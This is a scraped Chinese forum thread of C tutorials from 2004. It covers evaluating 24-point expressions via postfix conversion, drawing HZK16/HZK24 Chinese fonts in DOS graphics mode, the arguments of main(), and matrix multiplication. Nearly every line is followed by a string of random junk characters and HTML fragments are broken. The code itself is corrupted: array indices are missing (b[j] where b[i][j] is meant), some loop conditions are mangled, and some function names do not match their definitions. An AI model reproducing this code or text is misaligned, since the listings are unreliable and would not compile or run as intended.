% t8 e( T6 t' @6 R2 kswitch(c)5 B8 s" ~" y# {, `" F% u( }/ [2 }3 W
{ case '*': p=2; break;+ q# ~+ J% d' c# g% u
case '/': p=2; break;
) B5 K, ?& D% \& c1 `case '+': p=1; break;
% N5 M- G  j- i2 s, q. gcase '-': p=1; break;7 p) R  v2 L: U1 K
case '(': p=0; break;
1 U' P4 K( q6 v9 G1 P0 scase '=': p=-1; break;
4 u3 {" _. s' C+ h+ L, z3 h}
1 {6 z8 Z/ s4 f! F+ ]/ s0 xreturn(p);
* x' Y# O8 A: H; @9 x}- c: s& }7 o" ?  D4 N* O
/* 此函数实现中缀到后缀的转换 */
% f' M& T$ t, c) J: f" c/* M的值宏定义为20 */
3 N& l' X0 |0 Y/ p8 T& J/* sp[]为表达式数组 */
% g7 p! e+ b( e& g2 x/ Iint mid_last()
- |) \) |8 Y: D7 i  G0 Y{ int i=0,j=0; char c,sm[M];9 H6 D5 l5 X  d. M; b: F, t
c=s[0]; sm[0]='='; top=0;
# e7 R- M4 }0 T3 ~; j' h! ywhile(c!='\0')' V) f* R5 I; v7 g
{ if(islower(c)) sp[j++]=c;
9 k% W6 ]+ ]% D: x  }% e1 celse switch(c)) e2 K% `2 n4 z# x- f
{ case '+':
: b' _! G' w) c. {$ B7 N7 Z+ kcase '-':2 Z- F! J; u- ?6 O2 u. n% C
case '*':( G3 V6 c; s3 i/ C
case '/': while(first(c)&lt;=first(sm[top]))' J5 t, e% Y) `8 T3 f
sp[j++]=sm[top--];2 B# [; e# c8 D
sm[++top]=c; break;+ W+ P# X0 n7 b  }0 w6 g
case '(': sm[++top]=c; break;6 }' p" q6 M: p3 [6 K
case ')': while(sm[top]!='(')
' k6 E! B- u3 Dsp[j++]=sm[top--];
6 }1 }3 n  ~5 a! u6 @top--; break;: o8 f4 F2 v8 {9 N4 x! K8 h
default :return(1);6 z+ x$ I! \1 t1 f
}; l, X/ i& |* \0 t2 P! @
c=s[++i];
6 I, V# h* h+ x- h* w' I7 m% S}1 ~, p- m5 P5 }. T9 d% i* v" C0 L
while(top&gt;0) sp[j++]=sm[top--];
) F* S- D8 e$ msp[j]='\0'; return(0);
2 h9 p$ R- z/ l1 C}) s0 z/ {7 q6 {* K5 }! f
/* 由后缀表达式来计算表达式的值 */" S3 e8 ]& n2 m$ \/ F9 _
int calc()) l8 p) C3 U5 Y: ^3 N" ]! I5 u$ g
{ int i=0,sm[M],tr; char c;
% c3 E/ Z% _& a, F+ V0 oc=sp[0]; top=-1;4 D/ o0 n7 d% Z6 P3 p( x/ N) M
while(c!='\0')
  Y( l- }: x$ Q( e( y{ if(islower(c)) sm[++top]=ver[c-'a'];/*在转换过程中用abcd等来代替数,
8 O2 j- ?3 h5 C" b+ P这样才可以更方便的处理非一位数,
0 E, [) w5 h. X# L! w0 lver数组中存放着这些字母所代替的数*/
4 [3 v4 V: ]0 t  F- F* Qelse switch(c)
; O2 y' p" a+ g% e{ case '+': tr=sm[top--]; sm[top]+=tr; break;3 T7 m0 c$ j2 e6 Z& P5 e; l
case '-': tr=sm[top--]; sm[top]-=tr; break;5 j1 h9 U( ]5 z
case '*': tr=sm[top--]; sm[top]*=tr; break;1 G2 W% a* W6 [; `/ k) r5 [
case '/': tr=sm[top--];sm[top]/=tr;break;: Q# _& A& m' [/ Q
default : return(1);
7 y+ G/ L0 r6 b( W* p- h+ Z, D! D}
8 v$ h" I- u8 |7 C; D& ~c=sp[++i];! p7 d2 j+ p, i; r2 Z
}
" \  u2 p0 S: q) T1 Y8 h# bif(top&gt;0) return(1);
& w0 k$ ~; J! y! R# [else { result=sm[top]; return(0); }
4 ?% d$ i. @' {. E  a}
$ N6 ?+ ~  @2 i) [- q. Z/ v</FONT>
6 D; }# c1 ]6 [% J4 i& Y  这样这个程序基本上就算解决了,回过头来拿这个程序来算一算文章开始的那个问题。哈哈,算出来了,原来如此简单——(6-3)*10-6=24。
2 v0 s/ F6 z. p3 a% ]
& T2 \7 L0 A/ X! r0 H- K  最后我总结了一下这其中容易出错的地方——+ O, E1 D: o. L4 c& b- y  X. g; ^1 l
: T; x+ |, `) x! ?# z
  1、 排列的时候由于一个数只能出现一次, 所以必然有一个判断语句。但是用什么来判断,用大小显然不行,因为有可能这四个数中有两个或者以上的数是相同的。我的方法是给每一个数设置一个代号,在排列结束时,通过这个代号找到这个数。% f; B' y3 _0 w$ O. u

; Y' h. g% l5 W9 y; {  2、在应用嵌套函数时,需仔细分析程序的执行过程,并对个别变量进行适当的调整(如j的值),程序才能正确的执行。" A) ?& Z$ a4 V% m/ ]: ?/ p- l
# o1 E. K9 F  ^
  3、在分析括号问题的时候要认真仔细,不要错过任何一个可能的机会,也要尽量使程序变得简单一些。不过我的分析可能也有问题,还请高手指点。
% q" j3 X3 d% {7 s+ K' M4 }1 v" \
! P/ t; d& a& {" z/ S  4、在用函数对一个数组进行处理的时候,一定要注意如果这个数组还需要再应用,就必须将它先保存起来,否则会出错,而且是很严重的错误。
) o( V5 J7 c8 f- W5 `5 y  R5 d
  x8 T4 A3 e, I9 z+ E# F6 `  5、在处理用户输入的表达式时,由于一个十位数或者更高位数是被分解成各位数存放在数组中,所以需对它们进行处理,将它们转化成实际的整型变量。另外,在转化过程中,用一个字母来代替这个数,并将这个数存在一个数组中,且它在数组中的位置和代替它的这个字母有一定的联系,这样才能取回这个数。$ u  n; |0 y+ U) G9 F. g
7 a; m/ r+ H/ }4 [. z8 x
  6、由于在穷举过程难免会出现计算过程中有除以0的计算,所以我们必须对calc函数种对于除的运算加以处理,否则程序会因为出错而退出(Divide by 0)。# f9 ^2 A/ `  T4 E. `8 x( d. e+ ^
* ?% P% f$ E5 q3 d" ^% Q
  7、最后一个问题,本程序尚未解决。对于一些比较著名的题目,本程序无法解答。比如说5、5、5、1或者8、8、3、3。这是由于这些题目在计算的过程用到了小数,而本程序并没有考虑到小数。
$ Q4 r# V! l; R5 k+ H9 c' x- J</P>
作者: 韩冰    时间: 2004-10-4 02:41
< align=center><FONT color=#cc0000 size=5><B>% X4 O- F7 B3 e) |4 {/ K- E
图形模式下的汉字显示</B></FONT></P><> </P><> 我们在编写一些应用软件时,为了使软件更为通俗浅显、易学易用,具备汉字的用户界面是必不可少的条件。在文本模式下,只要有汉字操作系统的支持,显示汉字是不成问题的。只要用printf或cprintf就可以了。#include <STDIO.H>void main(){printf("我正在学习C语言!");}
  \; R7 D/ w' P2 r. T9 }; a% G  在图形模式下显示汉字就稍稍麻烦些。可幸的是有很多人从事这一问题的研究,并开发了一些用于汉字显示的函数。这些函数不需要汉字系统的支持,但用到其中的字库文件。如UCDOS的HZK16。0 {  d# w. t( f+ O  _0 ?( k
  汉字显示的第一步是打开字库文件。 ; L- @2 p$ ]% n$ F% ^, m
  函数: int OpenHz(const char *Hz16Path); 功能:打开字库文件Hz16Pathint handle; /*打开的字库文件指针*/int OpenHz(const char *Hz16Path){return (handle=open(Hz16Path,O_RDONLY|O_BINARY));} 打开字库文件后,就可以用下面介绍的函数显示16点阵的汉字。% C' t4 O9 f! Q% [  t
  函数: int WrtHz16(int x,int y,int z,int color,char *p); 功能:在(x,y)用color颜色显示汉字串p,汉字之间的空格数为z。intWrtHz16(int x, int y,int z,int color,char *p)
8 g& n4 M7 v% V{- j6 q) S( o6 f& `
unsigned int i,c1,c2,f=0; /*x,y:write at (x,y);*/
( r  ]; ]; w, `: {* ?int rec,i1,i2,i3; /*z:space between;*/
$ n, J+ ]/ [7 h: hlong l; /*color:txt color*/+ P- T$ n8 p' l" b- ?
char by[32]; /*p:HZ str*/8 s  f4 m; R9 S  c! C6 u+ k, v& Z
if( handle&lt;0 ) return -1; while((i=*p++)!=0){
4 P' q" t: r6 e4 N; oif(i&gt;0xa1)/ k8 ?) W. |, O1 X
if(f==0){3 G+ @9 u$ F" |5 S, S/ Q
c1=(i-0xa1)&amp;0x07f;; [7 k/ U) B* `3 F' v6 _3 a8 z
f=1;9 N/ f2 Q* [/ B3 L; ]
}$ h) r9 Q1 s5 u$ A' r6 X( \( h% o
else{4 B' j2 g" G! j- f0 r; K" r
c2=(i-0xa1)&amp;0x07f;8 a- `% A8 Z# {! P2 c, H. c9 d9 B
f=0;3 ^9 n! H% c% y/ e
rec=c1*94+c2;
) r" w+ T! s' B5 M2 s! a2 ]l=rec*32L;
7 C6 ~' M8 A5 S1 x; Zlseek(handle,l,SEEK_SET);1 y. t) S* s* x* w, k5 M
read(handle,by,32);- i5 D  M, {, d2 H/ i
for(i1=0;i1&lt;16;i1++)
4 Q/ E- `1 h7 }) _, Mfor(i2=0;i2&lt;2;i2++)
- y% A2 [. I1 c; }for(i3=0;i3&lt;8;i3++)7 Y$ O& n# R/ y4 c! T
if(GetBit(by[i1*2+i2],7-i3))" {, q. k- z1 T4 O* ~; t% b. @
putpixel(x+i2*8+i3,y+i1,color);
6 g# q# Z" y6 _( b) Hx=x+z+16;" K- Q3 l) Q5 @
}
7 N: _% v4 g3 I4 R" Q/ B}
* N  b/ r. L' zreturn(x);# \$ X& @6 w0 Q5 G: i4 p6 i
}
# W: m: `& H- F5 ?- `函数GetBit定义如下:
3 K3 E5 x) @/ Z& l; _% B  函数: int GetBit(unsigned char c,int n); 功能:取得汉字的点阵数据。% z2 a0 I( u+ I) {2 [, o
int GetBit(unsigned char c,int n)& @4 ~& ?. A0 s, J- y4 q0 c
{1 B& R' i5 D. p3 P5 b3 B
return((c&gt;&gt;n)&amp;1);8 ^/ ^4 h2 g6 m- k0 v9 x) n
}9 z+ d0 X( r" O/ t3 w1 q
汉字显示结束,应该关闭字库文件。
8 O$ ~: y! ^3 C! [* cvoid CloseHz(void)5 ^1 `) h4 H! Q/ k( q* i. z1 _
{7 I* T  K4 Q  ~  W1 \$ ], B
close( handle );
8 W! c- d7 `# ~  @$ d}* q# k' s1 n. X* f; z
#include "\Caic\Include\Hz.h"
' y) [9 }: k2 l& a3 a4 J& {#include <GRAPHICS.H>6 P: K. V6 j: b1 y9 \6 P
#include <CONIO.H>const char* Hz16Path = "\\UCDOS\\Hzk16.";5 F/ t; J# l' g; [2 Q+ T
const char* HzStr = "苦丁香C语言辅助学习软件";7 r; N. n9 A. z) `; L" u
void main(){
: o& L& [/ G4 N8 Jint gr=DETECT,gm;
* S" [+ d' h( b/ O, P+ K0 z- H& Minitgraph(&amp;gr,&amp;gm,"\\Caic\\Bgi");5 F' a& A& Q! g+ {9 p& O+ W, T
OpenHz( Hz16Path );" q! z3 C$ z" f7 i) y3 D
Wrt16Hz(20,20,4,RED,HzStr);% R" C; a" ?$ Q% x& r, C& b* P1 v
CloseHz();& a! E8 u9 g% u# f
getch();5 c/ r; R* \$ Q) H
closegraph();
% w% s% }8 m- ?+ E" c# b0 E1 S}显示24点阵及放大汉字
- R( [8 w8 \; Q( j  下面探讨一下如何显示24点阵及放大汉字。24点阵字库也可在任意一种汉字系统中找到。如UCDOS的HZK24S。
, `1 D; ], M0 \% x& c2 O  r函数: int WrtHz24(int x,int y,int z,int color,int m,\int n,char *p); 功能:显示24点阵及放大汉字。
5 N( p' D3 I6 ?/ x$ t1 d6 Zint WrtHz24(int x,int y,int z,int color,int m,int n,char *p)
% m2 x, Z/ z5 _$ d{
$ c0 O, a3 Q; uunsigned int i,c1,c2,f=0; /*z: 汉字字符间的空格*/
  m' B$ L7 J  O& A5 Gint i1,i2,i3,i4,i5,rec; /*x,y: 先是位置(x,y)*/
% S) d* P- x: t6 r9 f3 l* p5 `long l; /*color:汉字颜色*/6 p$ c; U4 h# H" f1 j
char by[72]; /*m: x 方向的放大倍数*/9 T% O; q) E, ?* c1 g
/*n: y 方向的放大倍数*/
( w# }) g6 N& M+ V# \1 f, I2 M% _if( handle&lt;0 ) return -1; /*p: 显示汉字串*/ while((i=*p++)!=0){4 o% t  y2 `# v; e- d* g
if(i&gt;0xa1)
6 D3 U7 `4 y- n2 s3 P# _5 P( Zif(f==0){
* `; t' A2 R. @6 Bc1=(i-0xa1)&amp;0x7f;) B, N/ ?3 I+ C& f; A7 U1 Z
f=1;. B- H+ [& z  f) n7 u& n2 n
}6 K# a9 z$ E! h' ?2 L6 u
else{$ n# W  d( A5 m/ d
c2=(i-0xa1)&amp;0x7f;
9 w& A' O9 i7 |7 E) S, U% yf=0;/ C8 g8 \/ }( k" |; Q5 \! N3 @
rec=(c1-15)*94+c2;
& E0 a/ n5 ^! J" {5 ]6 Yl=rec*72L;" s! ^& [0 z! e, t
lseek(handle,l,SEEK_SET);" m; S6 c1 r. u+ q/ y9 @
read(handle,by,72);% S# B, p+ I5 Q% \4 @# m
for(i1=0;i1&lt;24*m;i1=i1+m)' r. ]6 C) [/ z8 v
for(i4=0;i4<M;I4++)  _+ A* w7 p' l
for(i2=0;i2&lt;=2;i2++)
) w% J. _- d9 P- ]: n2 s( wfor(i3=0;i3&lt;8;i3++)) E& ~' {! S* R1 M5 _* n  v/ [
if(GetBit(by[i1/m*3+i2],7-i3))* t8 b& T0 d0 j! H  Z1 _: _
for(i5=0;i5<N;I5++)
# b/ D' S* H# j# E putpixel(x+i1+i4,y+i2*8*n+i3*n+i5,color);
, x7 u! T8 E) Q8 ax=x+24*m+z;2 l& c9 G9 o9 ^, n; O; G
}& z5 j1 t" j# A+ G4 u# ^
}
+ s" Y" ]" B9 _/ Hreturn(x);* r* d/ X3 z5 e
} 使用Wrt24Hz的例子:#include "\Caic\Include\Hz.h"6 a* W4 U/ \: V6 W/ U: F
#include <GRAPHICS.H>
  v. V4 S- P6 E( w#include <CONIO.H>const char* Hz24Path = "C:\\Ucdos\\fnt\\hzk24s."
# D4 Z& A  Z8 ?8 \4 ]& vconst char* HzStr = "苦丁香C语言辅助学习软件";
! M' L' p/ z4 ^! kvoid main(){7 z9 L2 }# |( o9 c1 {+ y: @/ e3 ~
int gr=DETECT,gm;
* x1 @- P: x/ I: G( o- Z* i! ~! Winitgraph(&amp;gr,gm,"\\Caic\\Bgi");
! T: D: J+ u5 Q# UOpenHz( Hz24Path );
+ L. K% c& y3 j5 p/ ^3 Z: ?Wrt24Hz(20,20, /*先是在(x,y)*/
" X4 e0 n; Q. x7 _4, /*汉字间的空格为4*/% K4 Z/ m; Y; X* J
RED, /*用红色显示*/+ O7 _3 x( }. D  D5 H! b' k
2, /*x 方向放大2倍*/. ^. O8 g0 c0 t* i2 Q
4, /*y 方向放大4倍*/3 e7 c% M& M  N
HzStr); /*显示字符串*/; b+ ]# b& h1 b2 O1 V2 X
CloseHz();; m7 D4 k8 {& r9 F; s1 v2 r) h
getch();) R  u( C+ ?& U! p+ f1 v5 h
closegraph();- G/ _! O$ V$ M2 z# ~' Y
}
1 b; y, W8 ?6 Z% C</P>
作者: 韩冰    时间: 2004-10-4 02:41
<>  再谈main()主函数- v0 ~# p; T4 i, R
  每一C 程序都必须有一main()函数,可以根据自己的爱好把它放在程序的某个地方。有些程序员把它放在最前面,而另一些程序员把它放在最后面,无论放在哪个地方,以下几点说明都是适合的。7 T" S# {1 g3 N. n" B
1. main() 参数5 c: L3 k$ }- ^. c$ R
  在Turbo C2.0启动过程中,传递main()函数三个参数:argc,argv和env。' X6 \& @1 e- j( a( k8 p2 Y5 L
  * argc: 整数,为传给main()的命令行参数个数。
' \! B* o, L# e6 V- O3 t  * argv: 字符串数组。, D7 Q2 _0 P5 U# P* ^0 U% s
在DOS 3.X 版本中,argv[0] 为程序运行的全路径名;
4 p; ~8 l7 _$ [$ i) A" t对DOS 3.0 以下的版本,argv[0]为空串("") 。argv[1] 为在DOS 命令行中执行程序名后的第一个字符串;argv[2] 为执行程序名后的第二个字符串;: [' X4 [1 ~, C$ E7 _! d3 j9 E4 i
...
1 V  ?! J* [, @" i3 z% z# Sargv[argc]为NULL。; l! Y# N1 X- P. W' m" Q/ @( F, W
  *env: 安符串数组。env[] 的每一个元素都包含ENVVAR=value形式的字符串。其中ENVVAR为环境变量如PATH或87。value 为ENVVAR的对应6 s. h* a* d3 x. Z0 U
值如C:\DOS,C:\TURBOC(对于PATH) 或YES(对于87)。</P>
作者: 韩冰    时间: 2004-10-4 02:43
< align=center><FONT color=#cc0000 size=5><B>两个矩阵相乘的源程序</B></FONT></P><>/*****************A=B*C******************/
3 K: ?# `; y- y; Y. E#include&lt;stdio.h&gt;
$ b. x: d: X* v% {7 }4 q#include&lt;conio.h&gt;. w  _/ [6 I) I& c& T
#define X 33 X- n" I- H/ ]9 r9 R
#define Y 3</P><>int a[X][Y];- Y* F% s5 `+ G0 F- P# u4 v, ^7 p
int b[X][Y];4 q3 R- G; S) R) B
int c[X][Y];</P><>void matrix(int b[][X],int c[][Y]);7 L) P, G& \  r: k: B4 G
main()
5 S7 k* W. l; P; k( [{9 G) u5 @2 y5 X$ i& c. X
int i,j,temp;2 o6 O; `3 G, J
clrscr();
& ]7 L; r" L8 S. Xprintf("lease input int matrix b[%d][%d]\n",X,Y);
5 Z0 r8 n8 }; Ifor(i=0;i&lt;Y;i++)& k! ~: `( y1 W3 B
for(j=0;j&lt;Y;j++){" _0 k7 U* R7 r2 e
scanf("%d",&amp;temp);
4 N% a/ I* r) b) s+ {/ C; x+ kb[j]=temp;8 n- ~& z; g0 L6 ?3 T8 Q* l
}" Z/ z1 q$ M/ r- R
printf("lease input int matrix c[%d][%d]\n",X,Y);
* |$ M0 J/ P$ B* H! Zfor(i=0;i&lt;X;i++)
0 z' W! N0 Z2 U! l- L0 h& R2 N. y) Gfor(j=0;j&lt;Y;j++){
  ?* _7 Z: o# h2 V. a1 V4 I. m* Fscanf("%d",&amp;temp);
  X4 W$ k) r7 B  Y- L0 Lc[j]=temp;  ]) t# J0 r) Q/ u* P$ ~7 h3 x
}* a. U& N6 m' ?+ `
matrix(b,c);7 m- U) \9 k( M3 s+ C
printf("Now print resource matrix b[%d][%d]=",X,Y);
8 _' c6 e/ O& S, Yfor(i=0;i&lt;X;i++){
. d2 }2 ~, v9 sprintf("\n");
! O+ l, A% R/ [5 K- J9 ^for(j=0;j&lt;Y;j++)
; \9 b! r$ ~/ p! N8 u) J: |0 Qprintf("%d ",b[j]);% e/ \# |0 i  b* ~+ @: o9 k0 A
}% x( u0 Z# t8 g( |, u% s% O
printf("\n");+ @: Z- S  ]  @6 _' [  N8 L
printf("Now print resource matrix c[%d][%d]=",X,Y);- X# m& ]* V! X. ~! a
for(i=0;i&lt;X;i++){
  t4 a& M8 {1 C  O  Cprintf("\n");9 {# `. u  H7 n. @
for(j=0;j&lt;Y;j++); z+ i# I7 u0 R
printf("%d ",c[j]);+ A* P: M- I3 O2 O* n- O/ i
}
4 ~9 t2 y" @% ]/ o% I2 ?printf("\n");3 y3 ^5 H9 L8 f8 s* s& l
printf("Now printm multiply results matrix a[%d][%d]=B*C:",X,Y);
/ s: [; P+ c4 |! wfor(i=0;i&lt;X;i++){0 ^, X. O( ]& _0 N% D6 b( b
printf("\n");! ]! J* G% X! }0 I
for(j=0;j&lt;Y;j++)
) a, u+ x" q& E2 N* w: dprintf("%d ",a[j]);3 m5 T% P( D6 ?
}; D$ z( \4 }7 `- b) i" g) z
getch();
2 I7 @" R, f* f+ Jreturn 0;2 g1 Y. x) |/ E( p9 Z
}
8 r; l4 |6 S/ J0 z1 n# C5 G: I/********************************************************************/
: L% F: y+ V% q$ O/ u; o3 N. wvoid matrix(int b[][X],int c[][Y])' ]& O& o# e5 t8 J( F5 ^$ `3 p
{
8 \: q3 I. ^7 f) u6 q/ Jint i,j,k,temp;0 G5 E9 L0 J3 n) F
for(i=0;i&lt;X;i++)0 U7 `: F. D  S. R; t
for(j=0;j&lt;Y;j++){
$ ]* m( y" e" I1 T; e" ffor(k=0;k&lt;Y;k++)
: G  L1 l/ y3 Y- t8 Y* ba[j]+=b[k]*c[k][j];& g# s7 _5 O/ u$ R& c
}! n9 {( F3 W  \& T! |, a4 w; ^. k
}</P>




欢迎光临 数学建模社区-数学中国 (http://www.madio.net/) Powered by Discuz! X2.5